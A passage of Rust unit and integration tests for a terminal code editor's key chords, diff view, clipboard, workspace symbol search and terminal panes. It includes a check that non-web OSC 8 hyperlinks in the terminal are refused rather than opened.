        crate::test_budget::tests::TASK_PANE_PROMPT_BASE,
        "the task pane's shell to return to its prompt",
        || app.terminals[app.active_terminal].foreground_is_shell(),
    );
    // Focus another pane so the re-root's active-pane `cd` cannot move the
    // task pane along (the reviewer's scenario: it is NOT cd'd).
    app.active_terminal = 0;
    app.change_workspace_root(b.path().to_path_buf());
    assert!(
        app.last_task.is_none(),
        "Rerun Last Task must not carry a task across a re-root"
    );
    let after = app.terminals.len();
    app.handle_key(chord).unwrap();
    assert_eq!(
        app.terminals.len(),
        after + 1,
        "a task pane whose shell still sits in the old workspace must not be reused"
    );
}

#[test]
fn hunk_actions_refuse_a_timeline_snapshot_diff() {
    // A local-history snapshot diff is built by the same opener as the
    // Source Control diff; staging from it would apply snapshot-derived
    // patches to the git index from a view that never mentions git.
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("a.txt");
    std::fs::write(&path, "new\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_head_diff_with_text(
            PathBuf::from("a.txt (local snapshot)"),
            "old\n",
            &path,
            false,
        )
        .unwrap();
    app.stage_hunk_at_caret();
    assert_eq!(
        app.status, "Hunk actions need a working-tree diff from Source Control",
        "a snapshot diff must refuse hunk actions"
    );
}

#[test]
fn workspace_symbol_queries_debounce_instead_of_firing_per_keystroke() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_workspace_symbols("");
    if let Some(p) = app.workspace_symbols.as_mut() {
        p.query.push('a');
    }
    app.workspace_symbols_requery();
    assert!(
        app.ws_symbols_request_id.is_none(),
        "a keystroke must not dispatch workspace/symbol synchronously"
    );
    std::thread::sleep(std::time::Duration::from_millis(250));
    app.workspace_symbols_dispatch_due();
    assert!(
        app.ws_symbols_request_id.is_some() || app.workspace_symbols.as_ref().unwrap().unsupported,
        "the settled query must dispatch (or surface no-LSP) after the window"
    );
}

#[test]
fn a_reply_to_a_superseded_workspace_symbol_query_is_dropped() {
    // Type, let the request dispatch, then type again: the in-flight
    // reply answers a query the user has edited away from and must not
    // render (workspace/symbol on a big project outlives the debounce).
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_workspace_symbols("");
    if let Some(p) = app.workspace_symbols.as_mut() {
        p.query.push('a');
    }
    app.workspace_symbols_requery();
    std::thread::sleep(std::time::Duration::from_millis(250));
    app.workspace_symbols_dispatch_due();
    let id = app
        .ws_symbols_request_id
        .expect("the settled query dispatched");
    if let Some(p) = app.workspace_symbols.as_mut() {
        p.query.push('b');
    }
    app.workspace_symbols_requery();
    assert!(
        !app.apply_workspace_symbols(id, Vec::new(), false),
        "a reply for the superseded query must be dropped, not rendered"
    );
}

#[test]
fn clearing_the_workspace_symbol_query_clears_the_unsupported_notice() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_workspace_symbols("");
    if let Some(p) = app.workspace_symbols.as_mut() {
        p.unsupported = true;
        p.query.clear();
    }
    app.workspace_symbols_requery();
    assert!(
        !app.workspace_symbols.as_ref().unwrap().unsupported,
        "an emptied query shows the type-to-search hint, not a stale notice"
    );
}

#[test]
fn run_task_palette_command_opens_the_task_picker() {
    use crate::widgets::list_picker::ListPurpose;
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("Makefile"),
        "build:\n\ttrue\ntest:\n\ttrue\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.run_command(crate::widgets::command_palette::Command::RunTask);
    let picker = app
        .list_picker
        .as_ref()
        .expect("Tasks: Run Task must open the picker");
    assert_eq!(picker.purpose, ListPurpose::RunTask);
    assert!(
        picker.rows.iter().any(|r| r.label.contains("make build")),
        "discovered tasks appear as rows: {:?}",
        picker.rows.iter().map(|r| &r.label).collect::<Vec<_>>()
    );
}

#[test]
fn run_build_task_key_predicate_accepts_the_chord_and_rejects_neighbours() {
    assert!(is_run_build_task_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(is_run_build_task_key(key(
        KeyCode::Char('B'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    // Bare Cmd+B is Toggle Side Bar, not Run Build Task.
    assert!(!is_run_build_task_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER
    )));
    assert!(!is_run_build_task_key(key(
        KeyCode::Char('b'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT | KeyModifiers::ALT
    )));
}

#[test]
fn cmd_click_on_a_file_line_reference_in_the_terminal_opens_the_file_there() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    std::fs::write(tmp.path().join("src/probe.rs"), "one\ntwo\nthree\nfour\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Render once so `terminal.last_inner` / `last_area` are populated and
    // mouse coordinates map to grid cells like on a live click.
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    app.terminal_mut().focused = true;
    term.draw(|f| app.render(f)).unwrap();

    let reference = "src/probe.rs:3:2";
    app.terminal_mut()
        .write_input(format!("printf 'ref {reference}\\n'\r").as_bytes());
    // The echoed command line also contains the reference; wait for the
    // OUTPUT line (the one starting with "ref "), then click that one.
    let is_output_line = |l: &str| l.trim_start().starts_with("ref src/probe.rs");
    // A pure liveness backstop, generous on purpose (#44): the shell does
    // its full interactive startup on a box the parallel suite saturates,
    // and a tight ceiling here measured the scheduler, not croft — the
    // one observed failure had the echoed command on screen but the
    // output line not yet flushed. A genuine delivery failure still trips
    // this, just later.
    let started = std::time::Instant::now();
    while started.elapsed() < std::time::Duration::from_secs(30) {
        if app.terminal().visible_text().lines().any(is_output_line) {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    term.draw(|f| app.render(f)).unwrap();
    let snapshot = app.terminal().visible_text();
    let row_idx = snapshot
        .lines()
        .position(is_output_line)
        .unwrap_or_else(|| panic!("shell must print the reference; got:\n{snapshot}"));
    let line = snapshot.lines().nth(row_idx).unwrap();
    let col = line.find("probe.rs").unwrap() + 2;

    let inner = app.terminal().last_inner;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: inner.x + col as u16,
        row: inner.y + row_idx as u16,
        modifiers: KeyModifiers::SUPER,
    });

    // Canonicalize both sides: on macOS the pane cwd resolves through the
    // /var → /private/var symlink while tempdir reports the alias.
    let opened = app
        .editor
        .path
        .as_deref()
        .map(|p| p.canonicalize().unwrap_or_else(|_| p.to_path_buf()));
    assert_eq!(
        opened,
        Some(
            tmp.path()
                .join("src/probe.rs")
                .canonicalize()
                .expect("probe file exists")
        ),
        "Cmd+click on path:line:col must open the file (status: {})",
        app.status
    );
    assert_eq!(app.editor.cursor_row, 2, "line 3 is 0-based row 2");
    assert_eq!(app.editor.cursor_col, 1, "col 2 is 0-based col 1");
    assert!(
        matches!(app.focus, Pane::Editor),
        "the jump must focus the editor"
    );
}

/// An OSC 8 hyperlink's URI is invisible: the pane shows "CLICK-ME" while
/// the cell carries whatever the printing program chose — including a
/// file:// or custom-scheme URI that `open`/`xdg-open` would hand to an
/// arbitrary application. Only web links may open; anything else is
/// refused with the REAL destination surfaced in the status line.
#[test]
fn cmd_clicking_a_non_web_hyperlink_refuses_instead_of_opening() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    app.terminal_mut().focused = true;
    term.draw(|f| app.render(f)).unwrap();

    let script = "printf 'ref \\033]8;;file:///nonexistent-croft-probe\\033\\\\CLICK-ME\\033]8;;\\033\\\\\\n'";
    app.terminal_mut()
        .write_input(format!("{script}\r").as_bytes());
    // Locate the linked cell in the click's own coordinate space
    // (`hyperlink_at` viewport rows), not via `visible_text`, whose
    // logical-line joining shifts row indices past any soft wrap.
    let linked_cell = |app: &App| -> Option<(usize, usize)> {
        (0..40usize).find_map(|r| {
            (0..120usize)
                .find(|&c| {
                    app.terminal().hyperlink_at(r, c).as_deref()
                        == Some("file:///nonexistent-croft-probe")
                })
                .map(|c| (r, c))
        })
    };
    // Load-scaled rather than a fresh constant (#307): this budget was raised
    // 5s -> 8s once already, which is the shape of a number that cannot be
    // guessed from inside one test. The 1000ms literal that first replaced
    // it was under-calibrated against its own siblings and still lost on a
    // loaded box, so it now shares `SHELL_PAINT_BASE` with the other
    // wait-for-the-shell-to-paint test (#397).
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the shell to paint the linked cell",
        || linked_cell(&app).is_some(),
    );
    term.draw(|f| app.render(f)).unwrap();
    let (row_idx, col) = linked_cell(&app).expect("shell must print the linked text");

    let inner = app.terminal().last_inner;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: inner.x + col as u16,
        row: inner.y + row_idx as u16,
        modifiers: KeyModifiers::SUPER,
    });

    assert!(
        !app.status.starts_with("Opened"),
        "a file:// hyperlink must never reach the system opener (status: {})",
        app.status
    );
    assert!(
        app.status.contains("file:///nonexistent-croft-probe"),
        "the refusal must surface the real destination (status: {})",
        app.status
    );
}

// Cross-platform: asserts via `clipboard::read_string()`, so the per-thread
// test mock covers the diff-selection → Cmd+C → clipboard wiring on every OS.
// The macOS NSPasteboard FFI is verified separately by the cfg(macos) tests in
// `clipboard.rs` and `cmd_c_on_terminal_selection_lands_text_on_macos_clipboard`.
#[test]
fn cmd_c_on_side_by_side_diff_selection_copies_selected_text() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    std::fs::write(&f1, "alpha\nbravo\ncharlie\n").unwrap();
    std::fs::write(&f2, "alpha\nBRAVO\ncharlie\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.focus = Pane::Editor;
    let backend = ratatui::backend::TestBackend::new(120, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let diff = app.editor.diff.as_ref().unwrap();
    let l_gutter = (diff.left_lines.len() + 1).to_string().len() as u16 + 1;
    let l_text_x = app.editor.last_inner.x + l_gutter + 2;
    let body_top = app.editor.last_inner.y + 1;
    // Row 1 in the diff (after the @@/header rows) holds "bravo" on the
    // left. Click at col 0, drag to col 5 to select all five chars.
    let click_y = body_top + 1;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
        column: l_text_x,
        row: click_y,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(MouseButton::Left),
        column: l_text_x + 5,
        row: click_y,
        modifiers: KeyModifiers::NONE,
    });
    let sel = app
        .editor
        .diff
        .as_ref()
        .unwrap()
        .selection
        .expect("drag must have produced a diff selection");
    assert!(
        sel.has_area(),
        "drag must produce a non-zero-area selection"
    );

    // Drive the actual Cmd+C keystroke through handle_key. This is the
    // path the live app takes when the user presses Cmd+C; the
    // editor's main key handler short-circuits to handle_diff_key when
    // a diff is open, so a copy keybinding must be wired explicitly
    // INSIDE handle_diff_key. Without that branch, this assertion
    // fails — which is exactly the regression the user just reported:
    // selecting text in a diff and pressing Cmd+C did nothing,
    // leaving stale test sentinels on the system clipboard for the
    // next paste to surface.
    let _ = app.handle_key(key(KeyCode::Char('c'), KeyModifiers::SUPER));
    let got = crate::clipboard::read_string()
        .expect("Cmd+C on a diff selection must put text on the clipboard");
    assert_eq!(
        got, "bravo",
        "selecting cols 0..5 of the left column of row 1 and pressing Cmd+C must copy the exact left-side text via handle_diff_key's copy branch"
    );
}

#[test]
fn cmd_w_closes_a_diff_tab() {
    // Repro: Cmd+W did nothing on a diff view. handle_editor_key
    // short-circuits to handle_diff_key when a diff is open and returns
    // before the close-tab branch, so the close-tab key was swallowed.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    std::fs::write(&f1, "alpha\nbravo\n").unwrap();
    std::fs::write(&f2, "alpha\nBRAVO\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.focus = Pane::Editor;
    assert!(app.editor.diff.is_some(), "setup: diff must be open");

    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();

    assert!(
        app.editor.diff.is_none(),
        "Cmd+W on a diff view must close the tab (resetting the last tab to blank), not be swallowed by handle_diff_key"
    );
}

#[test]
fn cmd_w_closes_a_sheet_tab() {
    // Same swallow bug, sheet branch: handle_sheet_key returned before
    // the close-tab handler so Cmd+W never reached close_active.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let csv = tmp.path().join("data.csv");
    std::fs::write(&csv, "name,age\nAlice,30\n").unwrap();
    app.editor.open(&csv).unwrap();
    app.focus = Pane::Editor;
    assert!(app.editor.sheet.is_some(), "setup: sheet must be open");

    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();

    assert!(
        app.editor.sheet.is_none(),
        "Cmd+W on a sheet view must close the tab, not be swallowed by handle_sheet_key"
    );
}

#[test]
fn cmd_w_closes_an_image_tab() {
    // Same swallow bug, image branch: the read-only image guard returned
    // before the close-tab handler so Cmd+W could never close a PNG tab.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let png = tmp.path().join("pic.png");
    image::RgbaImage::new(2, 2).save(&png).unwrap();
    app.editor.open(&png).unwrap();
    app.focus = Pane::Editor;
    assert!(app.editor.image.is_some(), "setup: image must be open");

    app.handle_key(key(KeyCode::Char('w'), KeyModifiers::SUPER))
        .unwrap();

    assert!(
        app.editor.image.is_none(),
        "Cmd+W on an image view must close the tab, not be swallowed by the read-only image guard"
    );
}

#[test]
fn enter_in_diff_view_opens_the_file_under_the_caret_at_its_line() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    std::fs::write(&f1, "alpha\nbravo\n").unwrap();
    std::fs::write(&f2, "alpha\nBRAVO\ncharlie\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.focus = Pane::Editor;
    // Row 2 is the Added "charlie" row on the right side: new-file line 3.
    app.editor
        .diff
        .as_mut()
        .unwrap()
        .start_selection(crate::widgets::diff::DiffSide::Right, 2, 0);

    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();

    assert!(
        app.editor.diff.is_none(),
        "Enter must leave the diff and land in a real editable file tab"
    );
    assert_eq!(
        app.editor.path.as_deref(),
        Some(f2.as_path()),
        "the caret was on the right (working-tree) side, so Enter opens b.txt"
    );
    assert_eq!(
        app.editor.cursor_row, 2,
        "goto_line(3) puts the zero-based cursor on row 2 (the 'charlie' line)"
    );
}

#[test]
fn enter_on_a_removed_line_in_a_source_control_diff_opens_the_working_file() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let foo = tmp.path().join("foo.txt");
    // Working tree dropped "bravo"; HEAD still has it.
    std::fs::write(&foo, "alpha\ncharlie\n").unwrap();
    // Mirror open_source_control_entry's Modified branch: synthetic HEAD
    // label on the left, the real working file on the right.
    let label = std::path::PathBuf::from("foo.txt (HEAD)");
    app.editor
        .open_head_diff_with_text(label, "alpha\nbravo\ncharlie\n", &foo, true)
        .unwrap();
    app.focus = Pane::Editor;
    // Rows: 0 Equal alpha, 1 Removed bravo, 2 Equal charlie. Click row 1.
    app.editor
        .diff
        .as_mut()
        .unwrap()
        .start_selection(crate::widgets::diff::DiffSide::Left, 1, 0);

    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();

    assert!(
        app.editor.diff.is_none(),
        "Enter on a removed line must leave the diff for the real working \
         file, not stay parked on the diff tab; status was {:?}",
        app.status
    );
    assert_eq!(app.editor.path.as_deref(), Some(foo.as_path()));
}

#[test]
fn enter_in_multifile_git_diff_opens_the_real_file_under_the_caret() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let src_dir = tmp.path().join("src");
    std::fs::create_dir_all(&src_dir).unwrap();
    let foo = src_dir.join("foo.rs");
    std::fs::write(&foo, "keep1\nold\nkeep2\n").unwrap();
    let raw = concat!(
        "diff --git a/src/foo.rs b/src/foo.rs\n",
        "index 1111111..2222222 100644\n",
        "--- a/src/foo.rs\n",
        "+++ b/src/foo.rs\n",
        "@@ -1,3 +1,4 @@\n",
        " keep1\n",
        "-old\n",
        "+new1\n",
        "+new2\n",
        " keep2\n",
    );
    let label = std::path::PathBuf::from("git diff --staged");
    app.editor.open_git_diff_side_by_side(&label, raw).unwrap();
    app.focus = Pane::Editor;
    // Row 3 is "+new1" on the right side (new-file line 2).
    app.editor
        .diff
        .as_mut()
        .unwrap()
        .start_selection(crate::widgets::diff::DiffSide::Right, 3, 0);

    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();

    assert_eq!(
        app.editor.path.as_deref(),
        Some(foo.as_path()),
        "Enter on a row in the multi-file git diff must open the real file the \
         `diff --git` header names, resolved against the workspace root; status was {:?}",
        app.status
    );
    assert_eq!(app.editor.cursor_row, 1, "+new1 is new-file line 2");
}

#[test]
fn editor_find_in_side_by_side_diff_counts_matches_in_diff_content() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    std::fs::write(&f1, "alpha\nbravo\ncharlie\n").unwrap();
    std::fs::write(&f2, "alpha\nbravo\ncharlie\nlogger.info here\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.focus = Pane::Editor;
    let backend = ratatui::backend::TestBackend::new(120, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    app.open_editor_find();
    app.editor_find_set_query(String::from("logger"));

    let count = app.editor_find.as_ref().map(|s| s.match_count).unwrap_or(0);
    assert!(
        count >= 1,
        "Find must search the content rendered in a diff tab: 'logger' is visible in the right column yet match_count={count}"
    );
    let active = app
        .editor
        .diff
        .as_ref()
        .and_then(|d| d.find.active)
        .expect("a match in a diff must set an active find position for highlighting");
    assert_eq!(
        active.side,
        crate::widgets::diff::DiffSide::Right,
        "the 'logger' match lives on the added (right) side and must be selected as active"
    );
}

#[test]
fn editor_find_in_diff_next_prev_cycle_through_both_columns() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    std::fs::write(&f1, "needle one\nplain\n").unwrap();
    std::fs::write(&f2, "needle one\nplain\nneedle two\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.focus = Pane::Editor;
    let backend = ratatui::backend::TestBackend::new(120, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    app.open_editor_find();
    app.editor_find_set_query(String::from("needle"));
    let count = app.editor_find.as_ref().map(|s| s.match_count).unwrap_or(0);
    assert!(
        count >= 2,
        "an equal line counts on both columns plus the added line: expected >=2, got {count}"
    );
    let first = app.editor_find.as_ref().and_then(|s| s.match_index);
    assert_eq!(first, Some(1), "opening find selects the first match");
    app.editor_find_jump_next();
    let second = app.editor_find.as_ref().and_then(|s| s.match_index);
    assert_eq!(second, Some(2), "Enter advances to the second match");
    app.editor_find_jump_prev();
    let back = app.editor_find.as_ref().and_then(|s| s.match_index);
    assert_eq!(back, Some(1), "Shift+Enter walks back to the first match");
}

#[test]
fn diff_word_selection_highlights_every_other_occurrence() {
    // Highlight-all parity with the plain editor: selecting a word in the
    // diff must paint a muted-blue box over EVERY other occurrence of that
    // word on screen (VS Code's `editor.selectionHighlight`), exactly like
    // the regular editor does. The diff renderer used to only paint the
    // active selection band, leaving the other occurrences un-highlighted.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    // "alpha" appears on every equal row's left AND right column, so a single
    // word selection has many other occurrences visible at once.
    std::fs::write(&f1, "alpha one\nalpha two\nalpha three\n").unwrap();
    std::fs::write(&f2, "alpha one\nalpha two\nalpha three\nalpha four\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.focus = Pane::Editor;
    let _ = render_buf(&mut app);

    // Select the word "alpha" (cols 0..5) on the left column of the first row.
    {
        let diff = app.editor.diff.as_mut().unwrap();
        diff.select_word_at(crate::widgets::diff::DiffSide::Left, 0, 0);
        assert_eq!(
            diff.selection_text().as_deref(),
            Some("alpha"),
            "fixture: word click must select exactly 'alpha'"
        );
    }

    let buf = render_buf(&mut app);
    let occurrence = Color::Rgb(0x37, 0x61, 0x8e);
    let occ_cells = count_bg(&buf, occurrence);
    // The selected word itself is overpainted by the brighter selection band,
    // so every occurrence we count here is a *different* one. Two equal rows
    // still on screen carry "alpha" on both columns -> at least four more
    // 5-char spans = 20 cells, well over this floor.
    assert!(
        occ_cells >= 10,
        "selecting 'alpha' in the diff must highlight all other occurrences in \
         the muted-blue selection-highlight colour, mirroring the plain editor; \
         got only {occ_cells} highlighted cells"
    );
}

#[test]
fn double_click_in_diff_selects_word_and_cmd_c_copies_it() {
    // End-to-end: two left-clicks in quick succession on a word in
    // the left column must snap a word-bounded selection (same UX
    // as VS Code / standard text editors), and the very next Cmd+C
    // keystroke must put exactly that word on the clipboard.
    // Cross-platform: asserts via `clipboard::read_string()`, so the
    // per-thread test mock exercises this on every OS (no real-clipboard
    // opt-in needed — the OS pasteboard path is covered elsewhere).
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let f1 = tmp.path().join("a.txt");
    let f2 = tmp.path().join("b.txt");
    std::fs::write(&f1, "alpha bravo charlie\nsecond\n").unwrap();
    std::fs::write(&f2, "alpha BRAVO charlie\nsecond\n").unwrap();
    app.editor.open_diff(&f1, &f2).unwrap();
    app.focus = Pane::Editor;
    let backend = ratatui::backend::TestBackend::new(120, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let diff = app.editor.diff.as_ref().unwrap();
    let l_gutter = (diff.left_lines.len() + 1).to_string().len() as u16 + 1;
    let l_text_x = app.editor.last_inner.x + l_gutter + 2;
    let body_top = app.editor.last_inner.y + 1;
    // "alpha bravo charlie" — "bravo" starts at char col 6.
    let bravo_x = l_text_x + 8;
    let click_y = body_top;
    let first = crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
        column: bravo_x,
        row: click_y,
        modifiers: KeyModifiers::NONE,
    };
    app.handle_mouse(first);
    let second = crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
        column: bravo_x,
        row: click_y,
        modifiers: KeyModifiers::NONE,
    };
    app.handle_mouse(second);
    let sel = app
        .editor
        .diff
        .as_ref()
        .unwrap()
        .selection
        .expect("double-click must produce a word selection");
    assert!(sel.has_area(), "word selection must span >0 chars");

    let _ = app.handle_key(key(KeyCode::Char('c'), KeyModifiers::SUPER));
    let got = crate::clipboard::read_string()
        .expect("Cmd+C after double-click must put the word on the clipboard");
    assert_eq!(
        got, "bravo",
        "double-click word selection + Cmd+C must copy exactly the clicked word"
    );
}

// Exercises the macOS-native NSPasteboard backend (`clipboard::macos`), which
// only exists on macOS — gate it like the sibling native tests in
// `clipboard.rs` so the Linux/Android test binaries still compile and run
// everything else (an ungated macOS-only test fails to *compile* off-macOS,
// poisoning the whole test target rather than just skipping).
#[cfg(target_os = "macos")]
#[test]
fn lock_clipboard_for_test_restores_prior_clipboard_text_on_drop() {
    // Tests that hit the real NSPasteboard must never leave their
    // sentinels behind. This test simulates a user already having
    // text on the clipboard, runs a guarded section that writes a
    // sentinel, drops the guard, and asserts the clipboard now
    // reads back the simulated "user" text rather than the test
    // sentinel.
    //
    // To avoid leaking the simulated text into the developer's real
    // clipboard, capture the genuine pre-test contents first and
    // restore them at the very end via a Drop guard so even a panic
    // in the middle leaves the host clipboard untouched.
    struct RestoreClip(Option<String>);
    impl Drop for RestoreClip {
        fn drop(&mut self) {
            match self.0.take() {
                Some(s) => {
                    crate::clipboard::macos::write_string_native(&s);
                }
                None => crate::clipboard::macos::clear_native(),
            }
        }
    }
    let _restore = RestoreClip(crate::clipboard::macos::read_string_native());

    let pre = format!("user-preexisting-clip-{}", std::process::id());
    crate::clipboard::macos::write_string_native(&pre);
    {
        let _g = crate::clipboard::lock_clipboard_for_test();
        let sentinel = "test-sentinel-should-not-leak";
        assert!(
            crate::clipboard::write_string(sentinel),
            "guard-held write must hit the real NSPasteboard"
        );
        assert_eq!(
            crate::clipboard::read_string().as_deref(),
            Some(sentinel),
            "while the guard is held the test reads what it just wrote"
        );
    }
    let after = crate::clipboard::macos::read_string_native();
    assert_eq!(
        after.as_deref(),
        Some(pre.as_str()),
        "dropping the guard MUST restore the pre-test clipboard so a cargo test run never leaves a test sentinel on the developer's system clipboard for the next paste to surface"
    );
}

#[test]
fn ctrl_j_is_recognized_as_terminal_toggle() {
    assert!(is_terminal_toggle_key(key(
        KeyCode::Char('j'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn ctrl_shift_j_is_not_terminal_toggle_anymore() {
    // Ctrl+Shift+J is now reserved for the terminal-maximize chord, so
    // the terminal-toggle matcher must reject it. Ctrl+J alone (with no
    // shift) still toggles.
    let mods = KeyModifiers::CONTROL | KeyModifiers::SHIFT;
    assert!(!is_terminal_toggle_key(key(KeyCode::Char('J'), mods)));
    assert!(!is_terminal_toggle_key(key(KeyCode::Char('j'), mods)));
}

#[test]
fn plain_j_is_not_terminal_toggle() {
    assert!(!is_terminal_toggle_key(key(
        KeyCode::Char('j'),
        KeyModifiers::NONE
    )));
}

#[test]
fn ctrl_shift_j_is_terminal_maximize_key() {
    let mods = KeyModifiers::CONTROL | KeyModifiers::SHIFT;
    assert!(is_terminal_maximize_key(key(KeyCode::Char('J'), mods)));
    assert!(is_terminal_maximize_key(key(KeyCode::Char('j'), mods)));
}

#[test]
fn plain_ctrl_j_is_not_terminal_maximize_key() {
    assert!(!is_terminal_maximize_key(key(
        KeyCode::Char('j'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn plain_shift_j_is_not_terminal_maximize_key() {
    assert!(!is_terminal_maximize_key(key(
        KeyCode::Char('J'),
        KeyModifiers::SHIFT
    )));
}

#[test]
fn alt_or_super_blocks_terminal_maximize_key() {
    let with_alt = KeyModifiers::CONTROL | KeyModifiers::SHIFT | KeyModifiers::ALT;
    let with_super = KeyModifiers::CONTROL | KeyModifiers::SHIFT | KeyModifiers::SUPER;
    assert!(!is_terminal_maximize_key(key(KeyCode::Char('J'), with_alt)));
    assert!(!is_terminal_maximize_key(key(
        KeyCode::Char('J'),
        with_super
    )));
}

#[test]
fn ctrl_shift_j_toggles_terminal_maximize_state_via_handle_key() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(!app.terminal_maximized, "fresh app starts un-maximized");
    let chord = key(
        KeyCode::Char('J'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    assert!(app.terminal_maximized, "first chord maximizes");
    assert!(app.show_terminal, "maximize forces terminal visible");
    assert!(
        matches!(app.focus, Pane::Terminal),
        "maximize focuses the terminal"
    );
    app.handle_key(chord).unwrap();
    assert!(!app.terminal_maximized, "second chord restores split");
}

/// User-visible regression: with the terminal maximised via
/// Ctrl+Shift+J, a mouse drag inside the (now fullscreen) terminal
/// pane must reach `PtyTerminal::extend_selection_to` so the user
/// can highlight terminal text. Before this fix `EditorTabs::render`
/// returned early on `area.height == 0` without zeroing the active
/// editor's `last_area`, so `handle_mouse`'s `in_editor` hit-test
/// (`rect_contains(self.editor.last_area, ...)`) still matched the
/// pre-maximise rectangle and the dispatch at app.rs:7229 / 7336
/// routed the click into `editor.mouse_down` / `editor.mouse_drag`.
/// The user saw the file caret jump instead of a selection
/// appearing in the terminal — symptom: "the cursor is jumping up
/// and down as I go back and forth."
#[test]
fn maximised_terminal_owns_mouse_drag_for_selection_not_the_collapsed_editor() {
    let tmp = tempfile::tempdir().unwrap();
    // Seed a real file and open it so the editor actually claims a
    // non-empty rectangle on the first render (the blank-initial
    // branch zeroes `last_area.height` to skip welcome-pane
    // overdraw, which would mask the bug we're probing).
    let f = tmp.path().join("probe.txt");
    std::fs::write(&f, "alpha\nbeta\ngamma\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();

    // Render once in split layout so the editor's `last_area` ends
    // up pointing at the right-hand pane — the exact stale
    // rectangle the bug would later read from.
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
